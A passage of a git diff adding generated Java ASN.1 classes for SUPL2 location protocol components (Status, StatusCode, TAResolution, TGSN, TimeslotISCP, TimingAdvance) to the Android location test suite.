+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSessionID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSessionID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSessionIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SlpSessionID.sessionIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sessionID : "
+ + getSessionID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSlpId() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSlpId();
+ }
+
+ @Override public void setToNewInstance() {
+ setSlpIdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SLPAddress.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "slpId : "
+ + getSlpId().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sessionIDType extends Asn1OctetString {
+ //
+
+ private static final Asn1Tag TAG_sessionIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sessionIDType() {
+ super();
+ setMinSize(4);
+setMaxSize(4);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sessionIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sessionIDType != null) {
+ return ImmutableList.of(TAG_sessionIDType);
+ } else {
+ return Asn1OctetString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sessionIDType from encoded stream.
+ */
+ public static sessionIDType fromPerUnaligned(byte[] encodedBytes) {
+ sessionIDType result = new sessionIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sessionIDType from encoded stream.
+ */
+ public static sessionIDType fromPerAligned(byte[] encodedBytes) {
+ sessionIDType result = new sessionIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override protected String getTypeName() {
+ return "sessionIDType";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SlpSessionID = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Status.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Status.java
new file mode 100755
index 0000000..57df384
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Status.java
@@ -0,0 +1,159 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class Status extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ stale(0),
+ current(1),
+ unknown(2),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_Status
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Status() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Status;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Status != null) {
+ return ImmutableList.of(TAG_Status);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new Status from encoded stream.
+ */
+ public static Status fromPerUnaligned(byte[] encodedBytes) {
+ Status result = new Status();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Status from encoded stream.
+ */
+ public static Status fromPerAligned(byte[] encodedBytes) {
+ Status result = new Status();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "Status = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/StatusCode.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/StatusCode.java
new file mode 100755
index 0000000..4ad327a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/StatusCode.java
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class StatusCode extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ unspecified(0),
+ systemFailure(1),
+ unexpectedMessage(2),
+ protocolError(3),
+ dataMissing(4),
+ unexpectedDataValue(5),
+ posMethodFailure(6),
+ posMethodMismatch(7),
+ posProtocolMismatch(8),
+ targetSETnotReachable(9),
+ versionNotSupported(10),
+ resourceShortage(11),
+ invalidSessionId(12),
+ nonProxyModeNotSupported(13),
+ proxyModeNotSupported(14),
+ positioningNotPermitted(15),
+ authNetFailure(16),
+ authSuplinitFailure(17),
+ consentDeniedByUser(100),
+ consentGrantedByUser(101),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ver2_incompatibleProtectionLevel(18),
+ ver2_serviceNotSupported(19),
+ ver2_insufficientInterval(20),
+ ver2_noSUPLCoverage(21),
+ ver2_sessionStopped(102),
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_StatusCode
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public StatusCode() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_StatusCode;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_StatusCode != null) {
+ return ImmutableList.of(TAG_StatusCode);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new StatusCode from encoded stream.
+ */
+ public static StatusCode fromPerUnaligned(byte[] encodedBytes) {
+ StatusCode result = new StatusCode();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new StatusCode from encoded stream.
+ */
+ public static StatusCode fromPerAligned(byte[] encodedBytes) {
+ StatusCode result = new StatusCode();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "StatusCode = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TAResolution.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TAResolution.java
new file mode 100755
index 0000000..f462d65
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TAResolution.java
@@ -0,0 +1,159 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class TAResolution extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ res10chip(0),
+ res05chip(1),
+ res0125chip(2),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_TAResolution
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public TAResolution() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_TAResolution;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_TAResolution != null) {
+ return ImmutableList.of(TAG_TAResolution);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new TAResolution from encoded stream.
+ */
+ public static TAResolution fromPerUnaligned(byte[] encodedBytes) {
+ TAResolution result = new TAResolution();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new TAResolution from encoded stream.
+ */
+ public static TAResolution fromPerAligned(byte[] encodedBytes) {
+ TAResolution result = new TAResolution();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "TAResolution = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TGSN.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TGSN.java
new file mode 100755
index 0000000..b48c086
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TGSN.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class TGSN extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_TGSN
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public TGSN() {
+ super();
+ setValueRange("0", "14");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_TGSN;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_TGSN != null) {
+ return ImmutableList.of(TAG_TGSN);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new TGSN from encoded stream.
+ */
+ public static TGSN fromPerUnaligned(byte[] encodedBytes) {
+ TGSN result = new TGSN();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new TGSN from encoded stream.
+ */
+ public static TGSN fromPerAligned(byte[] encodedBytes) {
+ TGSN result = new TGSN();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "TGSN = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TimeslotISCP.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TimeslotISCP.java
new file mode 100755
index 0000000..d7f1547
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TimeslotISCP.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class TimeslotISCP extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_TimeslotISCP
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public TimeslotISCP() {
+ super();
+ setValueRange("0", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_TimeslotISCP;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_TimeslotISCP != null) {
+ return ImmutableList.of(TAG_TimeslotISCP);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new TimeslotISCP from encoded stream.
+ */
+ public static TimeslotISCP fromPerUnaligned(byte[] encodedBytes) {
+ TimeslotISCP result = new TimeslotISCP();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new TimeslotISCP from encoded stream.
+ */
+ public static TimeslotISCP fromPerAligned(byte[] encodedBytes) {
+ TimeslotISCP result = new TimeslotISCP();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "TimeslotISCP = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TimeslotISCP_List.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TimeslotISCP_List.java
new file mode 100755
index 0000000..cbe4920
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TimeslotISCP_List.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class TimeslotISCP_List
+ extends Asn1SequenceOf<TimeslotISCP> {
+ //
+
+ private static final Asn1Tag TAG_TimeslotISCP_List
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public TimeslotISCP_List() {
+ super();
+ setMinSize(1);
+setMaxSize(14);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_TimeslotISCP_List;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_TimeslotISCP_List != null) {
+ return ImmutableList.of(TAG_TimeslotISCP_List);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new TimeslotISCP_List from encoded stream.
+ */
+ public static TimeslotISCP_List fromPerUnaligned(byte[] encodedBytes) {
+ TimeslotISCP_List result = new TimeslotISCP_List();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new TimeslotISCP_List from encoded stream.
+ */
+ public static TimeslotISCP_List fromPerAligned(byte[] encodedBytes) {
+ TimeslotISCP_List result = new TimeslotISCP_List();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public TimeslotISCP createAndAddValue() {
+ TimeslotISCP value = new TimeslotISCP();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("TimeslotISCP_List = [\n");
+ final String internalIndent = indent + " ";
+ for (TimeslotISCP value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TimingAdvance.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TimingAdvance.java
new file mode 100755
index 0000000..922d0ac
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/TimingAdvance.java
@@ -0,0 +1,426 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class TimingAdvance extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_TimingAdvance
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public TimingAdvance() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_TimingAdvance;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_TimingAdvance != null) {
+ return ImmutableList.of(TAG_TimingAdvance);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new TimingAdvance from encoded stream.
+ */
+ public static TimingAdvance fromPerUnaligned(byte[] encodedBytes) {
+ TimingAdvance result = new TimingAdvance();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new TimingAdvance from encoded stream.
+ */
+ public static TimingAdvance fromPerAligned(byte[] encodedBytes) {
+ TimingAdvance result = new TimingAdvance();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private TimingAdvance.tAType tA_;
+ public TimingAdvance.tAType getTA() {
+ return tA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TimingAdvance.tAType
+ */
+ public void setTA(Asn1Object value) {
+ this.tA_ = (TimingAdvance.tAType) value;
+ }
+ public TimingAdvance.tAType setTAToNewInstance() {
+ tA_ = new TimingAdvance.tAType();
+ return tA_;
+ }
+
+ private TAResolution tAResolution_;
+ public TAResolution getTAResolution() {
+ return tAResolution_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TAResolution
+ */
+ public void setTAResolution(Asn1Object value) {
+ this.tAResolution_ = (TAResolution) value;
+ }
+ public TAResolution setTAResolutionToNewInstance() {
+ tAResolution_ = new TAResolution();
+ return tAResolution_;
+ }
+
+ private ChipRate chipRate_;
+ public ChipRate getChipRate() {
+ return chipRate_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ChipRate
+ */
